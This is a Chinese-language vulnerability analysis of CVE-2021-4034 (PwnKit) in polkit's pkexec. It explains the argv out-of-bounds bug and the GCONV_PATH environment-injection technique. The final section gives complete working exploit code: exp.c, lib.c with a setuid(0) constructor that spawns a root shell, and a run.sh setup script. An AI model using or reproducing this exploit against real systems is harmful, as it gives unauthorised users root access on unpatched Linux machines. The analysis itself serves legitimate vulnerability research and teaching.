CVE-2021-4034分析
一 漏洞介紹
在 polkit 的 pkexec 工具中發現的本地權限升級漏洞,pkexec 應用程序是一個 setuid 工具,旨在允許非特權用戶按照預定義策略以特權用戶身份運行命令。當前版本的 pkexec 無法正確處理調用參數個數,并試圖將環境變量作為命令執行。攻擊者可以利用這一點,精心設計環境變量,誘使 pkexec 執行任意代碼。成功執行后,該攻擊可導致本地權限升級,賦予未授權用戶在目標計算機上的管理權限。
二 漏洞分析
polkit
漏洞代碼(v0.120):
......
for (n = 1; n < (guint) argc; n++)
{
......
}
......
g_assert (argv[argc] == NULL);
path = g_strdup (argv[n]);
if (path == NULL)
.....
}
if (path[0] != '/')
{
/* g_find_program_in_path() is not suspectible to attacks via the environment */
s = g_find_program_in_path (path);
if (s == NULL)
{
g_printerr ("Cannot run program %s: %s\n", path, strerror (ENOENT));
goto out;
}
g_free (path);
argv[n] = path = s;
}
漏洞邏輯如下:
1.polkit在處理argv的時候,n是從1開始計數的,for循環結束后path變量被賦值為了g_strdup (argv[n]);,如果傳遞的參數個數為0(即argv={ NULL}),這里就會有一個數組越界。而眾所周之,argv和envp是連著的:


所以數組越界會取到envp[0]的值并賦值給path。
2.接下來如果path[0] != '/',程序就會調用函數g_find_program_in_path來找到path的路徑,g_find_program_in_path會從環境變量PATH中尋找目錄,并查看目錄中有沒有path文件,如果某個目錄中有path文件就返回"目錄名/文件名"。比如用戶設置envp[0]為"sh",g_find_program_in_path就會從環境變量PATH中尋找目錄,尋找到目錄"/bin"的時候,發現目錄下有文件"sh",此時g_find_program_in_path就會返回"/bin/sh"。
3.接下來程序會把得到的"路徑/文件名"寫回argv[n],同理如果argv={ NULL}程序就會把得到的值寫到envp[0]中。
所以漏洞可以做到一個越界寫,解析出envp[0]在環境變量PATH中的路徑,并將"路徑/envp[0]"寫回envp[0]。
Linux下的目錄
Linux下的目錄中可以帶有特殊符號,可以完成許多奇怪的操作,比如下面這個:

所以可以給目錄起名叫做"TEST=.",也可以指定環境變量PATH="TEST=.",所以如果指定polkit的PATH="TEST=.",并在目錄"TEST=."下新建文件"test",同時將envp[0]設置為test的話:
1.數組越界會取到"test"的值并賦值給path。
2.path[0] != '/',程序就會調用函數g_find_program_in_path找"test"的路徑。
3.g_find_program_in_path函數從環境變量PATH中找到了目錄"TEST=.",并在目錄下找到了文件"test"。
4.g_find_program_in_path將"TEST=./test"返回,程序將"TEST=./test"寫入envp[0]。
通過這個技巧,我們達到了利用數組越界漏洞完成環境變量注入的目的操作。
LD_PRELOAD&GCONV_PATH
要通過環境變量完成提權,最方便的就是劫持程序加載的libc,執行用戶自己寫的函數。
環境變量LD_PRELOAD就可以指定glibc的位置,使用戶可以為某個二進制程序指定運行特定版本或者自己編譯的libc,但是有SUID-bit的二進制程序在啟動的時候不吃這個環境變量,那通過這個漏洞是不是可以將LD_PRELOAD注入polkit進程中進而劫持其glibc呢?很遺憾,在二進制程序正常運行的時候,glibc已經加載完成了,這時候指定LD_PRELOAD不會有任何作用。
所以要用到環境變量GCONV_PATH,該環境變量能夠使glibc使用用戶自定義的gconv-modules文件,而gconv-modules可以指定帶有函數gconv()和gonv_init()的libc文件。在polkit源碼中,多次使用了g_printerr函數進行報錯,如果環境變量CHARSET不是UTF-8,g_printerr()將會調用函數iconv_open()來轉換編碼,此時iconv_open就會去根據環境變量GCONV_PATH尋找gconv-modules,并找到gconv-modules指定的libc文件,調用其中的gconv()與gonv_init()。
g_printerr()調用iconv_open()的路徑為:
g_printerr
-> g_default_printerr_func
-> print_string
-> strdup_convert
-> g_convert_with_fallback
-> g_convert
-> open_converter
-> g_iconv_open
-> try_conversion
-> iconv_open
gconv-modules格式如下:
module 字符集1// 字符集2// libc名字 cost
漏洞利用
當程序中shell的環境變量為無效shell時就會觸發g_printerr的報錯:

所以利用步驟為:
1.創建目錄'GCONV_PATH=.'
2.在目錄'GCONV_PATH=.'下創建文件pwnkitdir
3.創建目錄'pwnkitdir'
4.在目錄下創建文件gconv-modules,寫入內容"module UTF-8// PWNKIT// pwnkit 1"
5.編寫c代碼,編寫名為gconv_init()的提權函數或者編寫帶有__attribute__ ((constructor))修飾的提權函數,編譯為pwnkit.so,放在gconv-modules同級目錄
6.編寫c代碼,用來運行pkexec,將argv設為{ NULL},a_envp設置為
char * envp[] = { "pwnkitdir", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=xxx", NULL};
并編譯運行即可獲得rootshell。
三 漏洞驗證
exp.c:
#include <stdio.h>
#include <unistd.h>
int main(int argc, char **argv)
{
char * const a_argv [] = { NULL};
char * const a_envp[] = {
"pwnkitdir",
"PATH=GCONV_PATH=.",
"CHARSET=PWNKIT",
"SHELL=xxx",
NULL
};
execve("/usr/local/bin/pkexec", a_argv, a_envp);
}
lib.c:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
static void __attribute__ ((constructor)) exp(void);
static void exp(void)
{
setuid(0); seteuid(0); setgid(0); setegid(0);
static char *a_argv[] = { "sh", NULL };
static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
execve("/bin/sh", a_argv, a_envp);
}
run.sh:
mkdir 'GCONV_PATH=.' touch 'GCONV_PATH=./pwnkitdir' chmod 777 'GCONV_PATH=./pwnkitdir' mkdir pwnkitdir touch pwnkitdir/gconv-modules echo "module UTF-8// PWNKIT// pwnkit 1" >> pwnkitdir/gconv-modules gcc -fPIC -shared lib.c -o pwnkitdir/pwnkit.so gcc exp.c -o exp
運行run.sh完成exp利用的前置環境搭建,切換為普通用戶:

運行exp,完成提權。